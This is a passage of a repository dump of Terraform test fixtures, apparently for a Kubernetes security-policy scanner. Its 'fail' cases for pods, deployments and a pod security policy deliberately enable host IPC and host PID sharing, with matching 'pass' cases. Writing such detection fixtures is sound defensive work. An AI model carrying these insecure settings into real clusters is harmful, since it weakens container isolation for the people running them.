\"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env_from {\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env_from {\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env_from {\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env_from {\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ShareHostIPC/main.tf",
    "content": "\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    host_pid = false\n    host_ipc = false\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    host_pid = false\n    host_ipc = false\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        host_pid = false\n        host_ipc = false\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        host_pid = false\n        host_ipc = false\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ShareHostIPCPSP/psp.tf",
    "content": "\nresource \"kubernetes_pod_security_policy\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n    host_ipc                   = true\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n    host_ipc                   = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ShareHostPID/main.tf",
    "content": "\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    host_pid = false\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    host_pid = false\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        host_pid = false\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n\n        host_pid = false\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = 